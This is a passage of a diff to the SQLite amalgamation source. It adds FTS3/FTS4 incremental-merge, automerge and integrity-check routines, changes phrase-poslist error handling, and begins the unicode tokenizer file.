    sqlite3_stmt *pChomp = 0;
+
    rc = fts3SqlStmt(p, SQL_CHOMP_SEGDIR, &pChomp, 0);
+
    if( rc==SQLITE_OK ){
+
      sqlite3_bind_int64(pChomp, 1, iNewStart);
+
      sqlite3_bind_blob(pChomp, 2, root.a, root.n, SQLITE_STATIC);
+
      sqlite3_bind_int64(pChomp, 3, iAbsLevel);
+
      sqlite3_bind_int(pChomp, 4, iIdx);
+
      sqlite3_step(pChomp);
+
      rc = sqlite3_reset(pChomp);
+
    }
+
  }
+

+
  sqlite3_free(root.a);
+
  sqlite3_free(block.a);
+
  return rc;
+
}
+

+
/*
+
** This function is called after an incrmental-merge operation has run to
+
** merge (or partially merge) two or more segments from absolute level
+
** iAbsLevel.
+
**
+
** Each input segment is either removed from the db completely (if all of
+
** its data was copied to the output segment by the incrmerge operation)
+
** or modified in place so that it no longer contains those entries that
+
** have been duplicated in the output segment.
+
*/
+
static int fts3IncrmergeChomp(
+
  Fts3Table *p,                   /* FTS table handle */
+
  sqlite3_int64 iAbsLevel,        /* Absolute level containing segments */
+
  Fts3MultiSegReader *pCsr,       /* Chomp all segments opened by this cursor */
+
  int *pnRem                      /* Number of segments not deleted */
+
){
+
  int i;
+
  int nRem = 0;
+
  int rc = SQLITE_OK;
+

+
  for(i=pCsr->nSegment-1; i>=0 && rc==SQLITE_OK; i--){
+
    Fts3SegReader *pSeg = 0;
+
    int j;
+

+
    /* Find the Fts3SegReader object with Fts3SegReader.iIdx==i. It is hiding
+
    ** somewhere in the pCsr->apSegment[] array.  */
+
    for(j=0; ALWAYS(j<pCsr->nSegment); j++){
+
      pSeg = pCsr->apSegment[j];
+
      if( pSeg->iIdx==i ) break;
+
    }
+
    assert( j<pCsr->nSegment && pSeg->iIdx==i );
+

+
    if( pSeg->aNode==0 ){
+
      /* Seg-reader is at EOF. Remove the entire input segment. */
+
      rc = fts3DeleteSegment(p, pSeg);
+
      if( rc==SQLITE_OK ){
+
        rc = fts3RemoveSegdirEntry(p, iAbsLevel, pSeg->iIdx);
+
      }
+
      *pnRem = 0;
+
    }else{
+
      /* The incremental merge did not copy all the data from this 
+
      ** segment to the upper level. The segment is modified in place
+
      ** so that it contains no keys smaller than zTerm/nTerm. */ 
+
      const char *zTerm = pSeg->zTerm;
+
      int nTerm = pSeg->nTerm;
+
      rc = fts3TruncateSegment(p, iAbsLevel, pSeg->iIdx, zTerm, nTerm);
+
      nRem++;
+
    }
+
  }
+

+
  if( rc==SQLITE_OK && nRem!=pCsr->nSegment ){
+
    rc = fts3RepackSegdirLevel(p, iAbsLevel);
+
  }
+

+
  *pnRem = nRem;
+
  return rc;
+
}
+

+
/*
+
** Store an incr-merge hint in the database.
+
*/
+
static int fts3IncrmergeHintStore(Fts3Table *p, Blob *pHint){
+
  sqlite3_stmt *pReplace = 0;
+
  int rc;                         /* Return code */
+

+
  rc = fts3SqlStmt(p, SQL_REPLACE_STAT, &pReplace, 0);
+
  if( rc==SQLITE_OK ){
+
    sqlite3_bind_int(pReplace, 1, FTS_STAT_INCRMERGEHINT);
+
    sqlite3_bind_blob(pReplace, 2, pHint->a, pHint->n, SQLITE_STATIC);
+
    sqlite3_step(pReplace);
+
    rc = sqlite3_reset(pReplace);
+
  }
+

+
  return rc;
+
}
+

+
/*
+
** Load an incr-merge hint from the database. The incr-merge hint, if one 
+
** exists, is stored in the rowid==1 row of the %_stat table.
+
**
+
** If successful, populate blob *pHint with the value read from the %_stat
+
** table and return SQLITE_OK. Otherwise, if an error occurs, return an
+
** SQLite error code.
+
*/
+
static int fts3IncrmergeHintLoad(Fts3Table *p, Blob *pHint){
+
  sqlite3_stmt *pSelect = 0;
+
  int rc;
+

+
  pHint->n = 0;
+
  rc = fts3SqlStmt(p, SQL_SELECT_STAT, &pSelect, 0);
+
  if( rc==SQLITE_OK ){
+
    int rc2;
+
    sqlite3_bind_int(pSelect, 1, FTS_STAT_INCRMERGEHINT);
+
    if( SQLITE_ROW==sqlite3_step(pSelect) ){
+
      const char *aHint = sqlite3_column_blob(pSelect, 0);
+
      int nHint = sqlite3_column_bytes(pSelect, 0);
+
      if( aHint ){
+
        blobGrowBuffer(pHint, nHint, &rc);
+
        if( rc==SQLITE_OK ){
+
          memcpy(pHint->a, aHint, nHint);
+
          pHint->n = nHint;
+
        }
+
      }
+
    }
+
    rc2 = sqlite3_reset(pSelect);
+
    if( rc==SQLITE_OK ) rc = rc2;
+
  }
+

+
  return rc;
+
}
+

+
/*
+
** If *pRc is not SQLITE_OK when this function is called, it is a no-op.
+
** Otherwise, append an entry to the hint stored in blob *pHint. Each entry
+
** consists of two varints, the absolute level number of the input segments 
+
** and the number of input segments.
+
**
+
** If successful, leave *pRc set to SQLITE_OK and return. If an error occurs,
+
** set *pRc to an SQLite error code before returning.
+
*/
+
static void fts3IncrmergeHintPush(
+
  Blob *pHint,                    /* Hint blob to append to */
+
  i64 iAbsLevel,                  /* First varint to store in hint */
+
  int nInput,                     /* Second varint to store in hint */
+
  int *pRc                        /* IN/OUT: Error code */
+
){
+
  blobGrowBuffer(pHint, pHint->n + 2*FTS3_VARINT_MAX, pRc);
+
  if( *pRc==SQLITE_OK ){
+
    pHint->n += sqlite3Fts3PutVarint(&pHint->a[pHint->n], iAbsLevel);
+
    pHint->n += sqlite3Fts3PutVarint(&pHint->a[pHint->n], (i64)nInput);
+
  }
+
}
+

+
/*
+
** Read the last entry (most recently pushed) from the hint blob *pHint
+
** and then remove the entry. Write the two values read to *piAbsLevel and 
+
** *pnInput before returning.
+
**
+
** If no error occurs, return SQLITE_OK. If the hint blob in *pHint does
+
** not contain at least two valid varints, return SQLITE_CORRUPT_VTAB.
+
*/
+
static int fts3IncrmergeHintPop(Blob *pHint, i64 *piAbsLevel, int *pnInput){
+
  const int nHint = pHint->n;
+
  int i;
+

+
  i = pHint->n-2;
+
  while( i>0 && (pHint->a[i-1] & 0x80) ) i--;
+
  while( i>0 && (pHint->a[i-1] & 0x80) ) i--;
+

+
  pHint->n = i;
+
  i += sqlite3Fts3GetVarint(&pHint->a[i], piAbsLevel);
+
  i += sqlite3Fts3GetVarint32(&pHint->a[i], pnInput);
+
  if( i!=nHint ) return SQLITE_CORRUPT_VTAB;
+

+
  return SQLITE_OK;
+
}
+

+

+
/*
+
** Attempt an incremental merge that writes nMerge leaf blocks.
+
**
+
** Incremental merges happen nMin segments at a time. The two
+
** segments to be merged are the nMin oldest segments (the ones with
+
** the smallest indexes) in the highest level that contains at least
+
** nMin segments. Multiple merges might occur in an attempt to write the 
+
** quota of nMerge leaf blocks.
+
*/
+
SQLITE_PRIVATE int sqlite3Fts3Incrmerge(Fts3Table *p, int nMerge, int nMin){
+
  int rc;                         /* Return code */
+
  int nRem = nMerge;              /* Number of leaf pages yet to  be written */
+
  Fts3MultiSegReader *pCsr;       /* Cursor used to read input data */
+
  Fts3SegFilter *pFilter;         /* Filter used with cursor pCsr */
+
  IncrmergeWriter *pWriter;       /* Writer object */
+
  int nSeg = 0;                   /* Number of input segments */
+
  sqlite3_int64 iAbsLevel = 0;    /* Absolute level number to work on */
+
  Blob hint = {0, 0, 0};          /* Hint read from %_stat table */
+
  int bDirtyHint = 0;             /* True if blob 'hint' has been modified */
+

+
  /* Allocate space for the cursor, filter and writer objects */
+
  const int nAlloc = sizeof(*pCsr) + sizeof(*pFilter) + sizeof(*pWriter);
+
  pWriter = (IncrmergeWriter *)sqlite3_malloc(nAlloc);
+
  if( !pWriter ) return SQLITE_NOMEM;
+
  pFilter = (Fts3SegFilter *)&pWriter[1];
+
  pCsr = (Fts3MultiSegReader *)&pFilter[1];
+

+
  rc = fts3IncrmergeHintLoad(p, &hint);
+
  while( rc==SQLITE_OK && nRem>0 ){
+
    const i64 nMod = FTS3_SEGDIR_MAXLEVEL * p->nIndex;
+
    sqlite3_stmt *pFindLevel = 0; /* SQL used to determine iAbsLevel */
+
    int bUseHint = 0;             /* True if attempting to append */
+

+
    /* Search the %_segdir table for the absolute level with the smallest
+
    ** relative level number that contains at least nMin segments, if any.
+
    ** If one is found, set iAbsLevel to the absolute level number and
+
    ** nSeg to nMin. If no level with at least nMin segments can be found, 
+
    ** set nSeg to -1.
+
    */
+
    rc = fts3SqlStmt(p, SQL_FIND_MERGE_LEVEL, &pFindLevel, 0);
+
    sqlite3_bind_int(pFindLevel, 1, nMin);
+
    if( sqlite3_step(pFindLevel)==SQLITE_ROW ){
+
      iAbsLevel = sqlite3_column_int64(pFindLevel, 0);
+
      nSeg = nMin;
+
    }else{
+
      nSeg = -1;
+
    }
+
    rc = sqlite3_reset(pFindLevel);
+

+
    /* If the hint read from the %_stat table is not empty, check if the
+
    ** last entry in it specifies a relative level smaller than or equal
+
    ** to the level identified by the block above (if any). If so, this 
+
    ** iteration of the loop will work on merging at the hinted level.
+
    */
+
    if( rc==SQLITE_OK && hint.n ){
+
      int nHint = hint.n;
+
      sqlite3_int64 iHintAbsLevel = 0;      /* Hint level */
+
      int nHintSeg = 0;                     /* Hint number of segments */
+

+
      rc = fts3IncrmergeHintPop(&hint, &iHintAbsLevel, &nHintSeg);
+
      if( nSeg<0 || (iAbsLevel % nMod) >= (iHintAbsLevel % nMod) ){
+
        iAbsLevel = iHintAbsLevel;
+
        nSeg = nHintSeg;
+
        bUseHint = 1;
+
        bDirtyHint = 1;
+
      }else{
+
        /* This undoes the effect of the HintPop() above - so that no entry
+
        ** is removed from the hint blob.  */
+
        hint.n = nHint;
+
      }
+
    }
+

+
    /* If nSeg is less that zero, then there is no level with at least
+
    ** nMin segments and no hint in the %_stat table. No work to do.
+
    ** Exit early in this case.  */
+
    if( nSeg<0 ) break;
+

+
    /* Open a cursor to iterate through the contents of the oldest nSeg 
+
    ** indexes of absolute level iAbsLevel. If this cursor is opened using 
+
    ** the 'hint' parameters, it is possible that there are less than nSeg
+
    ** segments available in level iAbsLevel. In this case, no work is
+
    ** done on iAbsLevel - fall through to the next iteration of the loop 
+
    ** to start work on some other level.  */
+
    memset(pWriter, 0, nAlloc);
+
    pFilter->flags = FTS3_SEGMENT_REQUIRE_POS;
+
    if( rc==SQLITE_OK ){
+
      rc = fts3IncrmergeCsr(p, iAbsLevel, nSeg, pCsr);
+
    }
+
    if( SQLITE_OK==rc && pCsr->nSegment==nSeg
+
     && SQLITE_OK==(rc = sqlite3Fts3SegReaderStart(p, pCsr, pFilter))
+
     && SQLITE_ROW==(rc = sqlite3Fts3SegReaderStep(p, pCsr))
+
    ){
+
      int iIdx = 0;               /* Largest idx in level (iAbsLevel+1) */
+
      rc = fts3IncrmergeOutputIdx(p, iAbsLevel, &iIdx);
+
      if( rc==SQLITE_OK ){
+
        if( bUseHint && iIdx>0 ){
+
          const char *zKey = pCsr->zTerm;
+
          int nKey = pCsr->nTerm;
+
          rc = fts3IncrmergeLoad(p, iAbsLevel, iIdx-1, zKey, nKey, pWriter);
+
        }else{
+
          rc = fts3IncrmergeWriter(p, iAbsLevel, iIdx, pCsr, pWriter);
+
        }
+
      }
+

+
      if( rc==SQLITE_OK && pWriter->nLeafEst ){
+
        fts3LogMerge(nSeg, iAbsLevel);
+
        do {
+
          rc = fts3IncrmergeAppend(p, pWriter, pCsr);
+
          if( rc==SQLITE_OK ) rc = sqlite3Fts3SegReaderStep(p, pCsr);
+
          if( pWriter->nWork>=nRem && rc==SQLITE_ROW ) rc = SQLITE_OK;
+
        }while( rc==SQLITE_ROW );
+

+
        /* Update or delete the input segments */
+
        if( rc==SQLITE_OK ){
+
          nRem -= (1 + pWriter->nWork);
+
          rc = fts3IncrmergeChomp(p, iAbsLevel, pCsr, &nSeg);
+
          if( nSeg!=0 ){
+
            bDirtyHint = 1;
+
            fts3IncrmergeHintPush(&hint, iAbsLevel, nSeg, &rc);
+
          }
+
        }
+
      }
+

+
      fts3IncrmergeRelease(p, pWriter, &rc);
+
    }
+

+
    sqlite3Fts3SegReaderFinish(pCsr);
+
  }
+

+
  /* Write the hint values into the %_stat table for the next incr-merger */
+
  if( bDirtyHint && rc==SQLITE_OK ){
+
    rc = fts3IncrmergeHintStore(p, &hint);
+
  }
+

+
  sqlite3_free(pWriter);
+
  sqlite3_free(hint.a);
+
  return rc;
+
}
+

+
/*
+
** Convert the text beginning at *pz into an integer and return
+
** its value.  Advance *pz to point to the first character past
+
** the integer.
+
*/
+
static int fts3Getint(const char **pz){
+
  const char *z = *pz;
+
  int i = 0;
+
  while( (*z)>='0' && (*z)<='9' ) i = 10*i + *(z++) - '0';
+
  *pz = z;
+
  return i;
+
}
+

+
/*
+
** Process statements of the form:
+
**
+
**    INSERT INTO table(table) VALUES('merge=A,B');
+
**
+
** A and B are integers that decode to be the number of leaf pages
+
** written for the merge, and the minimum number of segments on a level
+
** before it will be selected for a merge, respectively.
+
*/
+
static int fts3DoIncrmerge(
+
  Fts3Table *p,                   /* FTS3 table handle */
+
  const char *zParam              /* Nul-terminated string containing "A,B" */
+
){
+
  int rc;
+
  int nMin = (FTS3_MERGE_COUNT / 2);
+
  int nMerge = 0;
+
  const char *z = zParam;
+

+
  /* Read the first integer value */
+
  nMerge = fts3Getint(&z);
+

+
  /* If the first integer value is followed by a ',',  read the second
+
  ** integer value. */
+
  if( z[0]==',' && z[1]!='\0' ){
+
    z++;
+
    nMin = fts3Getint(&z);
+
  }
+

+
  if( z[0]!='\0' || nMin<2 ){
+
    rc = SQLITE_ERROR;
+
  }else{
+
    rc = SQLITE_OK;
+
    if( !p->bHasStat ){
+
      assert( p->bFts4==0 );
+
      sqlite3Fts3CreateStatTable(&rc, p);
+
    }
+
    if( rc==SQLITE_OK ){
+
      rc = sqlite3Fts3Incrmerge(p, nMerge, nMin);
+
    }
+
    sqlite3Fts3SegmentsClose(p);
+
  }
+
  return rc;
+
}
+

+
/*
+
** Process statements of the form:
+
**
+
**    INSERT INTO table(table) VALUES('automerge=X');
+
**
+
** where X is an integer.  X==0 means to turn automerge off.  X!=0 means
+
** turn it on.  The setting is persistent.
+
*/
+
static int fts3DoAutoincrmerge(
+
  Fts3Table *p,                   /* FTS3 table handle */
+
  const char *zParam              /* Nul-terminated string containing boolean */
+
){
+
  int rc = SQLITE_OK;
+
  sqlite3_stmt *pStmt = 0;
+
  p->bAutoincrmerge = fts3Getint(&zParam)!=0;
+
  if( !p->bHasStat ){
+
    assert( p->bFts4==0 );
+
    sqlite3Fts3CreateStatTable(&rc, p);
+
    if( rc ) return rc;
+
  }
+
  rc = fts3SqlStmt(p, SQL_REPLACE_STAT, &pStmt, 0);
+
  if( rc ) return rc;;
+
  sqlite3_bind_int(pStmt, 1, FTS_STAT_AUTOINCRMERGE);
+
  sqlite3_bind_int(pStmt, 2, p->bAutoincrmerge);
+
  sqlite3_step(pStmt);
+
  rc = sqlite3_reset(pStmt);
+
  return rc;
+
}
+

+
/*
+
** Return a 64-bit checksum for the FTS index entry specified by the
+
** arguments to this function.
+
*/
+
static u64 fts3ChecksumEntry(
+
  const char *zTerm,              /* Pointer to buffer containing term */
+
  int nTerm,                      /* Size of zTerm in bytes */
+
  int iLangid,                    /* Language id for current row */
+
  int iIndex,                     /* Index (0..Fts3Table.nIndex-1) */
+
  i64 iDocid,                     /* Docid for current row. */
+
  int iCol,                       /* Column number */
+
  int iPos                        /* Position */
+
){
+
  int i;
+
  u64 ret = (u64)iDocid;
+

+
  ret += (ret<<3) + iLangid;
+
  ret += (ret<<3) + iIndex;
+
  ret += (ret<<3) + iCol;
+
  ret += (ret<<3) + iPos;
+
  for(i=0; i<nTerm; i++) ret += (ret<<3) + zTerm[i];
+

+
  return ret;
+
}
+

+
/*
+
** Return a checksum of all entries in the FTS index that correspond to
+
** language id iLangid. The checksum is calculated by XORing the checksums
+
** of each individual entry (see fts3ChecksumEntry()) together.
+
**
+
** If successful, the checksum value is returned and *pRc set to SQLITE_OK.
+
** Otherwise, if an error occurs, *pRc is set to an SQLite error code. The
+
** return value is undefined in this case.
+
*/
+
static u64 fts3ChecksumIndex(
+
  Fts3Table *p,                   /* FTS3 table handle */
+
  int iLangid,                    /* Language id to return cksum for */
+
  int iIndex,                     /* Index to cksum (0..p->nIndex-1) */
+
  int *pRc                        /* OUT: Return code */
+
){
+
  Fts3SegFilter filter;
+
  Fts3MultiSegReader csr;
+
  int rc;
+
  u64 cksum = 0;
+

+
  assert( *pRc==SQLITE_OK );
+

+
  memset(&filter, 0, sizeof(filter));
+
  memset(&csr, 0, sizeof(csr));
+
  filter.flags =  FTS3_SEGMENT_REQUIRE_POS|FTS3_SEGMENT_IGNORE_EMPTY;
+
  filter.flags |= FTS3_SEGMENT_SCAN;
+

+
  rc = sqlite3Fts3SegReaderCursor(
+
      p, iLangid, iIndex, FTS3_SEGCURSOR_ALL, 0, 0, 0, 1,&csr
+
  );
+
  if( rc==SQLITE_OK ){
+
    rc = sqlite3Fts3SegReaderStart(p, &csr, &filter);
+
  }
+

+
  if( rc==SQLITE_OK ){
+
    while( SQLITE_ROW==(rc = sqlite3Fts3SegReaderStep(p, &csr)) ){
+
      char *pCsr = csr.aDoclist;
+
      char *pEnd = &pCsr[csr.nDoclist];
+

+
      i64 iDocid = 0;
+
      i64 iCol = 0;
+
      i64 iPos = 0;
+

+
      pCsr += sqlite3Fts3GetVarint(pCsr, &iDocid);
+
      while( pCsr<pEnd ){
+
        i64 iVal = 0;
+
        pCsr += sqlite3Fts3GetVarint(pCsr, &iVal);
+
        if( pCsr<pEnd ){
+
          if( iVal==0 || iVal==1 ){
+
            iCol = 0;
+
            iPos = 0;
+
            if( iVal ){
+
              pCsr += sqlite3Fts3GetVarint(pCsr, &iCol);
+
            }else{
+
              pCsr += sqlite3Fts3GetVarint(pCsr, &iVal);
+
              iDocid += iVal;
+
            }
+
          }else{
+
            iPos += (iVal - 2);
+
            cksum = cksum ^ fts3ChecksumEntry(
+
                csr.zTerm, csr.nTerm, iLangid, iIndex, iDocid,
+
                (int)iCol, (int)iPos
+
            );
+
          }
+
        }
+
      }
+
    }
+
  }
+
  sqlite3Fts3SegReaderFinish(&csr);
+

+
  *pRc = rc;
+
  return cksum;
+
}
+

+
/*
+
** Check if the contents of the FTS index match the current contents of the
+
** content table. If no error occurs and the contents do match, set *pbOk
+
** to true and return SQLITE_OK. Or if the contents do not match, set *pbOk
+
** to false before returning.
+
**
+
** If an error occurs (e.g. an OOM or IO error), return an SQLite error 
+
** code. The final value of *pbOk is undefined in this case.
+
*/
+
static int fts3IntegrityCheck(Fts3Table *p, int *pbOk){
+
  int rc = SQLITE_OK;             /* Return code */
+
  u64 cksum1 = 0;                 /* Checksum based on FTS index contents */
+
  u64 cksum2 = 0;                 /* Checksum based on %_content contents */
+
  sqlite3_stmt *pAllLangid = 0;   /* Statement to return all language-ids */
+

+
  /* This block calculates the checksum according to the FTS index. */
+
  rc = fts3SqlStmt(p, SQL_SELECT_ALL_LANGID, &pAllLangid, 0);
+
  if( rc==SQLITE_OK ){
+
    int rc2;
+
    sqlite3_bind_int(pAllLangid, 1, p->nIndex);
+
    while( rc==SQLITE_OK && sqlite3_step(pAllLangid)==SQLITE_ROW ){
+
      int iLangid = sqlite3_column_int(pAllLangid, 0);
+
      int i;
+
      for(i=0; i<p->nIndex; i++){
+
        cksum1 = cksum1 ^ fts3ChecksumIndex(p, iLangid, i, &rc);
+
      }
+
    }
+
    rc2 = sqlite3_reset(pAllLangid);
+
    if( rc==SQLITE_OK ) rc = rc2;
+
  }
+

+
  /* This block calculates the checksum according to the %_content table */
+
  rc = fts3SqlStmt(p, SQL_SELECT_ALL_LANGID, &pAllLangid, 0);
+
  if( rc==SQLITE_OK ){
+
    sqlite3_tokenizer_module const *pModule = p->pTokenizer->pModule;
+
    sqlite3_stmt *pStmt = 0;
+
    char *zSql;
+
   
+
    zSql = sqlite3_mprintf("SELECT %s" , p->zReadExprlist);
+
    if( !zSql ){
+
      rc = SQLITE_NOMEM;
+
    }else{
+
      rc = sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0);
+
      sqlite3_free(zSql);
+
    }
+

+
    while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pStmt) ){
+
      i64 iDocid = sqlite3_column_int64(pStmt, 0);
+
      int iLang = langidFromSelect(p, pStmt);
+
      int iCol;
+

+
      for(iCol=0; rc==SQLITE_OK && iCol<p->nColumn; iCol++){
+
        const char *zText = (const char *)sqlite3_column_text(pStmt, iCol+1);
+
        int nText = sqlite3_column_bytes(pStmt, iCol+1);
+
        sqlite3_tokenizer_cursor *pT = 0;
+

+
        rc = sqlite3Fts3OpenTokenizer(p->pTokenizer, iLang, zText, nText, &pT);
+
        while( rc==SQLITE_OK ){
+
          char const *zToken;       /* Buffer containing token */
+
          int nToken;               /* Number of bytes in token */
+
          int iDum1, iDum2;         /* Dummy variables */
+
          int iPos;                 /* Position of token in zText */
+

+
          rc = pModule->xNext(pT, &zToken, &nToken, &iDum1, &iDum2, &iPos);
+
          if( rc==SQLITE_OK ){
+
            int i;
+
            cksum2 = cksum2 ^ fts3ChecksumEntry(
+
                zToken, nToken, iLang, 0, iDocid, iCol, iPos
+
            );
+
            for(i=1; i<p->nIndex; i++){
+
              if( p->aIndex[i].nPrefix<=nToken ){
+
                cksum2 = cksum2 ^ fts3ChecksumEntry(
+
                  zToken, p->aIndex[i].nPrefix, iLang, i, iDocid, iCol, iPos
+
                );
+
              }
+
            }
+
          }
+
        }
+
        if( pT ) pModule->xClose(pT);
+
        if( rc==SQLITE_DONE ) rc = SQLITE_OK;
+
      }
+
    }
+

+
    sqlite3_finalize(pStmt);
+
  }
+

+
  *pbOk = (cksum1==cksum2);
+
  return rc;
+
}
+

+
/*
+
** Run the integrity-check. If no error occurs and the current contents of
+
** the FTS index are correct, return SQLITE_OK. Or, if the contents of the
+
** FTS index are incorrect, return SQLITE_CORRUPT_VTAB.
+
**
+
** Or, if an error (e.g. an OOM or IO error) occurs, return an SQLite 
+
** error code.
+
**
+
** The integrity-check works as follows. For each token and indexed token
+
** prefix in the document set, a 64-bit checksum is calculated (by code
+
** in fts3ChecksumEntry()) based on the following:
+
**
+
**     + The index number (0 for the main index, 1 for the first prefix
+
**       index etc.),
+
**     + The token (or token prefix) text itself, 
+
**     + The language-id of the row it appears in,
+
**     + The docid of the row it appears in,
+
**     + The column it appears in, and
+
**     + The tokens position within that column.
+
**
+
** The checksums for all entries in the index are XORed together to create
+
** a single checksum for the entire index.
+
**
+
** The integrity-check code calculates the same checksum in two ways:
+
**
+
**     1. By scanning the contents of the FTS index, and 
+
**     2. By scanning and tokenizing the content table.
+
**
+
** If the two checksums are identical, the integrity-check is deemed to have
+
** passed.
+
*/
+
static int fts3DoIntegrityCheck(
+
  Fts3Table *p                    /* FTS3 table handle */
+
){
+
  int rc;
+
  int bOk = 0;
+
  rc = fts3IntegrityCheck(p, &bOk);
+
  if( rc==SQLITE_OK && bOk==0 ) rc = SQLITE_CORRUPT_VTAB;
+
  return rc;
+
}
+

/*
** Handle a 'special' INSERT of the form:
**
@@ -128246,6 +131477,12 @@ static int fts3SpecialInsert(Fts3Table *p, sqlite3_value *pVal){
    rc = fts3DoOptimize(p, 0);
  }else if( nVal==7 && 0==sqlite3_strnicmp(zVal, "rebuild", 7) ){
    rc = fts3DoRebuild(p);
+
  }else if( nVal==15 && 0==sqlite3_strnicmp(zVal, "integrity-check", 15) ){
+
    rc = fts3DoIntegrityCheck(p);
+
  }else if( nVal>6 && 0==sqlite3_strnicmp(zVal, "merge=", 6) ){
+
    rc = fts3DoIncrmerge(p, &zVal[6]);
+
  }else if( nVal>10 && 0==sqlite3_strnicmp(zVal, "automerge=", 10) ){
+
    rc = fts3DoAutoincrmerge(p, &zVal[10]);
#ifdef SQLITE_TEST
  }else if( nVal>9 && 0==sqlite3_strnicmp(zVal, "nodesize=", 9) ){
    p->nNodeSize = atoi(&zVal[9]);
@@ -128441,7 +131678,7 @@ static int fts3DeleteByRowid(
** tables. The schema of the virtual table being:
**
**     CREATE TABLE <table name>( 
-
**       <user COLUMns>,
+
**       <user columns>,
**       <table name> HIDDEN, 
**       docid HIDDEN, 
**       <langid> HIDDEN
@@ -128573,7 +131810,7 @@ SQLITE_PRIVATE int sqlite3Fts3UpdateMethod(
    nChng++;
  }

-
  if( p->bHasStat ){
+
  if( p->bFts4 ){
    fts3UpdateDocTotals(&rc, p, aSzIns, aSzDel, nChng);
  }

@@ -128970,10 +132207,11 @@ static int fts3SnippetFindPositions(Fts3Expr *pExpr, int iPhrase, void *ctx){
  SnippetIter *p = (SnippetIter *)ctx;
  SnippetPhrase *pPhrase = &p->aPhrase[iPhrase];
  char *pCsr;
+
  int rc;

  pPhrase->nToken = pExpr->pPhrase->nToken;
-

-
  pCsr = sqlite3Fts3EvalPhrasePoslist(p->pCsr, pExpr, p->iCol);
+
  rc = sqlite3Fts3EvalPhrasePoslist(p->pCsr, pExpr, p->iCol, &pCsr);
+
  assert( rc==SQLITE_OK || pCsr==0 );
  if( pCsr ){
    int iFirst = 0;
    pPhrase->pList = pCsr;
@@ -128984,10 +132222,12 @@ static int fts3SnippetFindPositions(Fts3Expr *pExpr, int iPhrase, void *ctx){
    pPhrase->iHead = iFirst;
    pPhrase->iTail = iFirst;
  }else{
-
    assert( pPhrase->pList==0 && pPhrase->pHead==0 && pPhrase->pTail==0 );
+
    assert( rc!=SQLITE_OK || (
+
       pPhrase->pList==0 && pPhrase->pHead==0 && pPhrase->pTail==0 
+
    ));
  }

-
  return SQLITE_OK;
+
  return rc;
}

/*
@@ -129380,13 +132620,14 @@ static int fts3ExprLocalHitsCb(
  int iPhrase,                    /* Phrase number */
  void *pCtx                      /* Pointer to MatchInfo structure */
){
+
  int rc = SQLITE_OK;
  MatchInfo *p = (MatchInfo *)pCtx;
  int iStart = iPhrase * p->nCol * 3;
  int i;

-
  for(i=0; i<p->nCol; i++){
+
  for(i=0; i<p->nCol && rc==SQLITE_OK; i++){
    char *pCsr;
-
    pCsr = sqlite3Fts3EvalPhrasePoslist(p->pCursor, pExpr, i);
+
    rc = sqlite3Fts3EvalPhrasePoslist(p->pCursor, pExpr, i, &pCsr);
    if( pCsr ){
      p->aMatchinfo[iStart+i*3] = fts3ColumnlistCount(&pCsr);
    }else{
@@ -129394,7 +132635,7 @@ static int fts3ExprLocalHitsCb(
    }
  }

-
  return SQLITE_OK;
+
  return rc;
}

static int fts3MatchinfoCheck(
@@ -129404,8 +132645,8 @@ static int fts3MatchinfoCheck(
){
  if( (cArg==FTS3_MATCHINFO_NPHRASE)
   || (cArg==FTS3_MATCHINFO_NCOL)
-
   || (cArg==FTS3_MATCHINFO_NDOC && pTab->bHasStat)
-
   || (cArg==FTS3_MATCHINFO_AVGLENGTH && pTab->bHasStat)
+
   || (cArg==FTS3_MATCHINFO_NDOC && pTab->bFts4)
+
   || (cArg==FTS3_MATCHINFO_AVGLENGTH && pTab->bFts4)
   || (cArg==FTS3_MATCHINFO_LENGTH && pTab->bHasDocsize)
   || (cArg==FTS3_MATCHINFO_LCS)
   || (cArg==FTS3_MATCHINFO_HITS)
@@ -129555,8 +132796,10 @@ static int fts3MatchinfoLcs(Fts3Cursor *pCsr, MatchInfo *pInfo){
    int nLive = 0;                /* Number of iterators in aIter not at EOF */

    for(i=0; i<pInfo->nPhrase; i++){
+
      int rc;
      LcsIterator *pIt = &aIter[i];
-
      pIt->pRead = sqlite3Fts3EvalPhrasePoslist(pCsr, pIt->pExpr, iCol);
+
      rc = sqlite3Fts3EvalPhrasePoslist(pCsr, pIt->pExpr, iCol, &pIt->pRead);
+
      if( rc!=SQLITE_OK ) return rc;
      if( pIt->pRead ){
        pIt->iPos = pIt->iPosOffset;
        fts3LcsIteratorAdvance(&aIter[i]);
@@ -129908,9 +133151,10 @@ static int fts3ExprTermOffsetInit(Fts3Expr *pExpr, int iPhrase, void *ctx){
  int iTerm;                      /* For looping through nTerm phrase terms */
  char *pList;                    /* Pointer to position list for phrase */
  int iPos = 0;                   /* First position in position-list */
+
  int rc;

  UNUSED_PARAMETER(iPhrase);
-
  pList = sqlite3Fts3EvalPhrasePoslist(p->pCsr, pExpr, p->iCol);
+
  rc = sqlite3Fts3EvalPhrasePoslist(p->pCsr, pExpr, p->iCol, &pList);
  nTerm = pExpr->pPhrase->nToken;
  if( pList ){
    fts3GetDeltaPosition(&pList, &iPos);
@@ -129924,7 +133168,7 @@ static int fts3ExprTermOffsetInit(Fts3Expr *pExpr, int iPhrase, void *ctx){
    pT->iPos = iPos;
  }

-
  return SQLITE_OK;
+
  return rc;
}

/*
@@ -130112,6 +133356,769 @@ SQLITE_PRIVATE void sqlite3Fts3Matchinfo(
#endif

/************** End of fts3_snippet.c ****************************************/
+
/************** Begin file fts3_unicode.c ************************************/
+
/*
+
** 2012 May 24
+
**
+
** The author disclaims copyright to this source code.  In place of
+
** a legal notice, here is a blessing:
+
**
+
**    May you do good and not evil.
+
**    May you find forgiveness for yourself and forgive others.
+
**    May you share freely, never taking more than you give.
+
**
+
******************************************************************************
+
**
+
** Implementation of the "unicode" full-text-search tokenizer.
+
*/
+

+
#ifdef SQLITE_ENABLE_FTS4_UNICODE61
+

+
#if !defined(SQLITE_CORE) || defined(SQLITE_ENABLE_FTS3)
+

+
/* #include <assert.h> */
+
/* #include <stdlib.h> */
+
/* #include <stdio.h> */
+
/* #include <string.h> */
+

+

+
/*
+
** The following two macros - READ_UTF8 and WRITE_UTF8 - have been copied
+
** from the sqlite3 source file utf.c. If this file is compiled as part
+
** of the amalgamation, they are not required.
+
*/
+
#ifndef SQLITE_AMALGAMATION
+

+
static const unsigned char sqlite3Utf8Trans1[] = {
+
  0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
+
  0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
+
